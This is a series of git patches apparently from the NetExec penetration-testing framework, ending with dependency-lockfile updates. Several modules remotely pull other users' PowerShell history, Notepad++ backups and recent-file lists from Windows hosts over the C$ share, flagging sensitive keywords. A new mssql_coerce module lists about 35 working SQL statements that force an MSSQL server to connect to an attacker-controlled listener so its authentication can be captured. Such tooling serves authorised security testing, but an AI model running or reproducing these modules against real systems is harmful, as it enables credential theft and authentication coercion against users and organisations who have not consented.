context.log.info("Retrieving PowerShell history...") - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - history = connection.execute(command, True).split("\n") - if history: - sensitive_commands = self.analyze_history(history) - if sensitive_commands: - context.log.highlight("Sensitive commands found in PowerShell history:") - for command in sensitive_commands: - context.log.highlight(f" {command}") - else: - context.log.info("No sensitive commands found in PowerShell history.") - else: - context.log.info("No PowerShell history found.") - - # Check if export is enabled - context.log.info(f"Export option is set to: {self.export}") - if self.export and history: - host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}_powershell_history.txt" - export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) - makedirs(export_path, exist_ok=True) - - context.log.info(f"Export enabled, writing history to {path}") + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: try: - with open(path, "w") as file: - for cmd in history: - file.write(cmd + "\n") - context.log.highlight(f"PowerShell history written to: {path}") - except Exception as e: - context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: - context.log.fail(f"UNEXPECTED ERROR: {e}") - context.log.debug(traceback.format_exc()) + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"{powershell_history_dir}{file.get_longname()}" + + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + keywords = [] + for keyword in self.sensitive_keywords: + if keyword in file_content: + keywords.append(keyword.upper()) + + if keyword: + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") + else: + context.log.highlight(f"C:\\{file_path}") + + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + if self.export: + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"PowerShell history written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") + except Exception: + pass From 29329bfee2c27864de2affdcc959bd1c84d84bc3 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sat, 12 Oct 2024 19:16:01 +0200 Subject: [PATCH 029/376] Update and rename Notepad++.py to notepad++.py Signed-off-by: Deft_ --- nxc/modules/Notepad++.py | 30 ------------------------ nxc/modules/notepad++.py | 50 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+), 30 deletions(-) delete mode 100644 nxc/modules/Notepad++.py create mode 100644 nxc/modules/notepad++.py diff --git a/nxc/modules/Notepad++.py b/nxc/modules/Notepad++.py deleted file mode 100644 index bc8cc3a1..00000000 --- a/nxc/modules/Notepad++.py +++ /dev/null @@ -1,30 +0,0 @@ -# Finds Notepad++ unsaved and backed up files -# Module by @Defte_ -from io import BytesIO - -class NXCModule: - name = "notepad++" - description = "Extracts notepad++ unsaved files." - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] - - def options(self, context, module_options): - """ """ - - def on_admin_login(self, context, connection): - for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: - try: - for file in connection.conn.listPath("C$", f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\*"): - if file.get_longname() not in self.false_positive: - file_path = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\{file.get_longname()}" - context.log.highlight(f"C:\\{file_path}") - buf = BytesIO() - connection.conn.getFile("C$", file_path, buf.write) - buf.seek(0) - file_content = buf.read().decode("utf-8", errors="ignore") - context.log.highlight(f"\t{file_content}") - except Exception: - pass diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py new file mode 100644 index 00000000..54dd59c9 --- /dev/null +++ b/nxc/modules/notepad++.py @@ -0,0 +1,50 @@ +from io import BytesIO +from os import makedirs +from os.path import join, abspath +from nxc.paths import NXC_PATH + + +class NXCModule: + # Finds notepad++ unsaved backup files + # Module by @Defte_ + + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """""" + + def on_admin_login(self, context, connection): + found = 0 + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + try: + notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" + for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): + file_path = f"{notepad_backup_dir}{file.get_longname()}" + if file.get_longname() not in self.false_positive: + found += 1 + file_path = f"{notepad_backup_dir}{file.get_longname()}" + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + context.log.highlight(f"C:\\{file_path}") + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + export_path = join(NXC_PATH, "modules", "notepad++") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"Notepad++ backup written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") + except Exception: + pass From 26e08ca6a05469f1063034765970cb2146d32d65 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sun, 13 Oct 2024 17:27:37 +0200 Subject: [PATCH 030/376] Update runasppl.py Signed-off-by: Deft_ --- nxc/modules/runasppl.py | 44 ++++++++++++++++++++++++++++++++++------- 1 file changed, 37 insertions(+), 7 deletions(-) diff --git a/nxc/modules/runasppl.py b/nxc/modules/runasppl.py index 15f6bccd..0520189c 100644 --- a/nxc/modules/runasppl.py +++ b/nxc/modules/runasppl.py @@ -1,5 +1,10 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations +from impacket.dcerpc.v5.rrp import DCERPCSessionError + class NXCModule: + # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" supported_protocols = ["smb"] @@ -14,10 +19,35 @@ class NXCModule: """""" def on_admin_login(self, context, connection): - command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL" - context.log.debug(f"Executing command: {command}") - p = connection.execute(command, True) - if "The system was unable to find the specified registry key or value" in p: - context.log.debug("Unable to find RunAsPPL Registry Key") - else: - context.log.highlight(p) + try: + remote_ops = RemoteOperations(connection.conn, False) + remote_ops.enableRegistry() + + if remote_ops._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) + reg_handle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SYSTEM\\CurrentControlSet\\Control\\Lsa" + ) + key_handle = ans["phkResult"] + _ = data = None + try: + _, data = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "RunAsPPL\x00", + ) + except rrp.DCERPCSessionError as e: + context.log.debug(f"RunAsPPL error {e} on host {connection.host}") + + if data is None or data not in [1, 2]: + context.log.highlight("RunAsPPL disabled") + else: + context.log.highlight("RunAsPPL enabled") + + except DCERPCSessionError as e: + context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}") + finally: + remote_ops.finish() From 3c197634b2d70ac33987ff5e013c0d665ce96988 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sun, 13 Oct 2024 21:52:19 +0200 Subject: [PATCH 031/376] Delete nxc/modules/recent_files.py (clownface) Signed-off-by: Deft_ --- nxc/modules/recent_files.py | 39 ------------------------------------- 1 file changed, 39 deletions(-) delete mode 100644 nxc/modules/recent_files.py diff --git a/nxc/modules/recent_files.py b/nxc/modules/recent_files.py deleted file mode 100644 index bee613af..00000000 --- a/nxc/modules/recent_files.py +++ /dev/null @@ -1,39 +0,0 @@ -import pylnk3 -from io import BytesIO - - -class NXCModule: - # Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent - # Module by @Defte_ - - name = "recent_files" - description = "Extracts recently modified files" - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] - - def options(self, context, module_options): - """""" - - def on_admin_login(self, context, connection): - lnks = [] - for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: - context.log.highlight(f"C:\\{directory.get_longname()}") - recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" - for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"): - file_path = f"{recent_files_dir}{file.get_longname()}" - if file.get_longname() not in self.false_positive: - file_path = f"{recent_files_dir}{file.get_longname()}" - try: - buf = BytesIO() - connection.conn.getFile("C$", file_path, buf.write) - buf.seek(0) - lnk = pylnk3.parse(buf).path - if lnk and lnk not in lnks: - context.log.highlight(f"\t{lnk}") - lnks.append(lnk) - except Exception as e: - # needed because of hidden directories in the Recents directory - context.log.debug(f"Couldn't open {file_path} because of {e}") From 581d5c600ab52a7650be1088cfb27f9356e5013c Mon Sep 17 00:00:00 2001 From: Deft_ Date: Tue, 15 Oct 2024 20:03:02 +0200 Subject: [PATCH 032/376] Remove (little) unecessary code Signed-off-by: Deft_ --- nxc/modules/powershell_history.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 9ed8ff4d..5abbaea7 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -5,7 +5,7 @@ from io import BytesIO class NXCModule: - # Module by @357384n + """Module by @357384n""" # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" @@ -26,7 +26,7 @@ class NXCModule: def on_admin_login(self, context, connection): for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): @@ -45,7 +45,7 @@ class NXCModule: if keyword: context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: - context.log.highlight(f"C:\\{file_path}") + context.log.highlight(f"C:\\{file_path}\n") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") From 5a364f79295f91e54c9a69872dbe2d2f3cf7b77a Mon Sep 17 00:00:00 2001 From: Deft_ Date: Tue, 15 Oct 2024 20:04:27 +0200 Subject: [PATCH 033/376] Minor code optimization Signed-off-by: Deft_ --- nxc/modules/powershell_history.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 5abbaea7..c410d3b1 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -5,7 +5,7 @@ from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" @@ -45,7 +45,7 @@ class NXCModule: if keyword: context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: - context.log.highlight(f"C:\\{file_path}\n") + context.log.highlight(f"C:\\{file_path}") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") From 821741a789f94eebcc5952005811a1a55b24a7b5 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Tue, 15 Oct 2024 20:05:45 +0200 Subject: [PATCH 034/376] Update notepad++.py Signed-off-by: Deft_ --- nxc/modules/notepad++.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py index 54dd59c9..54f19faf 100644 --- a/nxc/modules/notepad++.py +++ b/nxc/modules/notepad++.py @@ -21,7 +21,7 @@ class NXCModule: def on_admin_login(self, context, connection): found = 0 for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): From bf3973068bf11b18ed8a7834530968630159068b Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Wed, 16 Oct 2024 08:48:45 +0300 Subject: [PATCH 035/376] add mssql_coerce Module Signed-off-by: Hakan Yavuz --- nxc/modules/mssql_coerce | 79 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 nxc/modules/mssql_coerce diff --git a/nxc/modules/mssql_coerce b/nxc/modules/mssql_coerce new file mode 100644 index 00000000..634b7e50 --- /dev/null +++ b/nxc/modules/mssql_coerce @@ -0,0 +1,79 @@ +import sys + +class NXCModule: + """Execute arbitrary SQL commands on the target MSSQL server""" + + name = "mssql_coerce" + description = "Execute arbitrary SQL commands on the target MSSQL server" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + self.listener = None + + def options(self, context, module_options): + """ + LISTENER LISTENER for exploitation + L Alias for LISTENER + """ + self.context = context + self.listener = None + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] + if "L" in module_options: + self.listener = module_options["L"] + + def on_login(self, context, connection): + if self.listener is None: + context.log.error("LISTENER option is required!") + sys.exit(1) + self.context = context + self.mssql_conn = connection.conn + commands = [ + f"xp_dirtree '\\\\{self.listener}\\file';", + f"xp_fileexist '\\\\{self.listener}\\file';", + f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';", + f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';", + f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';", + f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');", + f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ", + f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';", + f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ", + f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ", + f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ", + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;", + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;", + f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ", + f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ", + f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", + f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", + f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ", + f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ", + f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ", + f"xp_subdirs '\\\\{self.listener}\\file';", + f"xp_cmdshell 'dir \\\\{self.listener}\\file';", + f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);", + f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];", + f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');", + f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');", + f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');", + ] + for command in commands: + try: + result = self.mssql_conn.sql_query(command) + self.context.log.debug(f"Executing command: {command}, Command result: {result}") + except Exception as e: + self.context.log.error(f"Failed to execute command: {command}, Error: {e}") + self.context.log.display("Commands executed successfully, check the listener for results") From a798bb69c2f74316dd6494edb3ab99cdf53f7cc6 Mon Sep 17 00:00:00 2001 From: Pixis Date: Wed, 16 Oct 2024 11:25:40 +0200 Subject: [PATCH 036/376] Update runasppl.py `execute()` method of `smb` class returns False if an error occurred. https://github.com/Pennyw0rth/NetExec/blob/main/nxc/protocols/smb.py#L766 If so, the current code fails as `False` is not iterable. This fix will check if `p` is not `False` before checking the error message in `p` Signed-off-by: Pixis --- nxc/modules/runasppl.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/runasppl.py b/nxc/modules/runasppl.py index 15f6bccd..917e893c 100644 --- a/nxc/modules/runasppl.py +++ b/nxc/modules/runasppl.py @@ -17,7 +17,7 @@ class NXCModule: command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL" context.log.debug(f"Executing command: {command}") p = connection.execute(command, True) - if "The system was unable to find the specified registry key or value" in p: + if not p or "The system was unable to find the specified registry key or value" in p: context.log.debug("Unable to find RunAsPPL Registry Key") else: context.log.highlight(p) From 4612df869ee7117c4d12527af127ebe3bfaf5399 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 16 Oct 2024 07:17:05 -0400 Subject: [PATCH 037/376] Drop python 3.8 and 3.9 support --- poetry.lock | 40 ++-------------------------------------- pyproject.toml | 2 +- 2 files changed, 3 insertions(+), 39 deletions(-) diff --git a/poetry.lock b/poetry.lock index ec974d9f..d64435b0 100644 --- a/poetry.lock +++ b/poetry.lock @@ -735,7 +735,6 @@ files = [ [package.dependencies] blinker = ">=1.6.2" click = ">=8.1.3" -importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""} itsdangerous = ">=2.1.2" Jinja2 = ">=3.1.2" Werkzeug = ">=3.0.0" @@ -875,25 +874,6 @@ url = "https://github.com/fortra/impacket.git" reference = "HEAD" resolved_reference = "63079001e2d7f1a5bafcfe59f5a78d42ceefd9ed" -[[package]] -name = "importlib-metadata" -version = "8.2.0" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.8" -files = [ - {file = "importlib_metadata-8.2.0-py3-none-any.whl", hash = "sha256:11901fa0c2f97919b288679932bb64febaeacf289d18ac84dd68cb2e74213369"}, - {file = "importlib_metadata-8.2.0.tar.gz", hash = "sha256:72e8d4399996132204f9a16dcc751af254a48f8d1b20b9ff0f98d4a8f901e73d"}, -] - -[package.dependencies] -zipp = ">=0.5" - -[package.extras] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -perf = ["ipython"] -test = ["flufl.flake8", "importlib-resources (>=1.3)", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy", "pytest-perf (>=0.9.2)", "pytest-ruff (>=0.2.1)"] - [[package]] name = "iniconfig" version = "2.0.0" @@ -1993,7 +1973,6 @@ files = [ [package.dependencies] markdown-it-py = ">=2.2.0" pygments = ">=2.13.0,<3.0.0" -typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.9\""} [package.extras] jupyter = ["ipywidgets (>=7.5.1,<9)"] @@ -2382,22 +2361,7 @@ files = [ {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, ] -[[package]] -name = "zipp" -version = "3.19.2" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.8" -files = [ - {file = "zipp-3.19.2-py3-none-any.whl", hash = "sha256:f091755f667055f2d02b32c53771a7a6c8b47e1fdbc4b72a8b9072b3eef8015c"}, - {file = "zipp-3.19.2.tar.gz", hash = "sha256:bf1dcf6450f873a13e952a29504887c89e6de7506209e5b1bcc3460135d4de19"}, -] - -[package.extras] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -test = ["big-O", "importlib-resources", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy", "pytest-ruff (>=0.2.1)"] - [metadata] lock-version = "2.0" -python-versions = "^3.8.0" -content-hash = "ea9268bbeebfa000c1250559be97ee8bd9209072e2bd24ee326eee9c0f864ed2" +python-versions = "^3.10.0" +content-hash = "65140872bd2a7ae06b4bf273c575159ba49cd04a60acd5bf77794d852d65e1c1" diff --git a/pyproject.toml b/pyproject.toml index e0fe8fbd..41c7df83 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -33,7 +33,7 @@ NetExec = 'nxc.netexec:main' nxcdb = 'nxc.nxcdb:main' [tool.poetry.dependencies] -python = "^3.8.0" +python = "^3.10.0" aardwolf = "^0.2.8" aioconsole = "^0.6.2" aiosqlite = "^0.19.0" From 743a84dbe601dff680afd7fb4b302db7522fa48e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 16 Oct 2024 07:20:32 -0400 Subject: [PATCH 038/376] Update dependencies --- poetry.lock | 1433 +++++++++++++++++++++++++----------------------- pyproject.toml | 2 +- 2 files changed, 759 insertions(+), 676 deletions(-) diff --git a/poetry.lock b/poetry.lock index d64435b0..2e614965 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,20 +2,17 @@ [[package]] name = "aardwolf" -version = "0.2.8" +version = "0.2.11" description = "Asynchronous RDP protocol implementation" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "aardwolf-0.2.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fd1b9e54ce6df904f6db3bd22e7e0aeb5b400991c973a823fa98b713e0fe672"}, - {file = "aardwolf-0.2.8-cp310-cp310-win_amd64.whl", hash = "sha256:87a2bb7c01871567bf91655a143624d2d2a86c3f0688ac11ccf117197acbad25"}, - {file = "aardwolf-0.2.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d1d5d99886266050537e9816c9d8fcf1171ef10f04aac89b057972d2fddd134"}, - {file = "aardwolf-0.2.8-cp311-cp311-win_amd64.whl", hash = "sha256:8e8c9b18a66b4b283436f3680356ef99c567b4e6a4aa77d125191840efe8843e"}, - {file = "aardwolf-0.2.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51065eec8659f77f0cf444156724a8a9cc2e6d357f9a5ae0da0d0f9b30bbcfbc"}, - {file = "aardwolf-0.2.8-cp38-cp38-win_amd64.whl", hash = "sha256:05057c42a968c1d6b60613475e8e998b359e5593dd1ee58a21d56868d0790c49"}, - {file = "aardwolf-0.2.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1199ad08f53b4c2880f6dceaae70f0b497c9aca943cdbf249ec5f8bac5256bf0"}, - {file = "aardwolf-0.2.8-cp39-cp39-win_amd64.whl", hash = "sha256:9027a2c9c247b9cd920d0e4848ebef5e7abf32869c1c37fa73b3bca781253c36"}, - {file = "aardwolf-0.2.8.tar.gz", hash = "sha256:b2f7d56730d33d45c3e4e6047c22360c618c628151ba4d426c275ded56a4c51d"}, + {file = "aardwolf-0.2.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d071445ac0afed6e14e7cff1187db26c6331e84c383ea305b1f9041153dd71c4"}, + {file = "aardwolf-0.2.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:764bfe8cf5898b08e1c0923bea9b9a887b044d9e95461cecf59d864b7f0884dc"}, + {file = "aardwolf-0.2.11-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fb78ff2f410ff7effffc22bf7ba72f0dd0c95a6b7ac14d548ccbbc646699c27"}, + {file = "aardwolf-0.2.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c80a755da73568c61803957980266f6fdcd414507f9bfe628230f7a18d116b2e"}, + {file = "aardwolf-0.2.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce4bf855bec187c4ad5420f1da66ce1799f16dd0a34f81904e02e860ed85bbec"}, + {file = "aardwolf-0.2.11.tar.gz", hash = "sha256:46dc892703f133961b782fd2971124803cba7409ea5dad5b4ebb7653b16dcdf3"}, ] [package.dependencies] @@ -59,13 +56,13 @@ files = [ [[package]] name = "aiosmb" -version = "0.4.10" +version = "0.4.11" description = "Asynchronous SMB protocol implementation" optional = false python-versions = ">=3.7" files = [ - {file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"}, - {file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"}, + {file = "aiosmb-0.4.11-py3-none-any.whl", hash = "sha256:a3b84893cded7aa1ebf048c0f5267024f2c030e5d918e4d8d8b86f8974a4011a"}, + {file = "aiosmb-0.4.11.tar.gz", hash = "sha256:6d66f51ed2354f76f206613eac0d63f37cfd9ed44be9f8a06594d410244273d7"}, ] [package.dependencies] @@ -146,13 +143,13 @@ files = [ [[package]] name = "argcomplete" -version = "3.4.0" +version = "3.5.1" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" files = [ - {file = "argcomplete-3.4.0-py3-none-any.whl", hash = "sha256:69a79e083a716173e5532e0fa3bef45f793f4e61096cf52b5a42c0211c8b8aa5"}, - {file = "argcomplete-3.4.0.tar.gz", hash = "sha256:c2abcdfe1be8ace47ba777d4fce319eb13bf8ad9dace8d085dcad6eded88057f"}, + {file = "argcomplete-3.5.1-py3-none-any.whl", hash = "sha256:1a1d148bdaa3e3b93454900163403df41448a248af01b6e849edc5ac08e6c363"}, + {file = "argcomplete-3.5.1.tar.gz", hash = "sha256:eb1ee355aa2557bd3d0145de7b06b2a45b0ce461e1e7813f5d066039ab4177b4"}, ] [package.extras] @@ -189,13 +186,13 @@ shell = ["prompt_toolkit"] [[package]] name = "asyauth" -version = "0.0.20" +version = "0.0.21" description = "Unified authentication library" optional = false python-versions = ">=3.7" files = [ - {file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"}, - {file 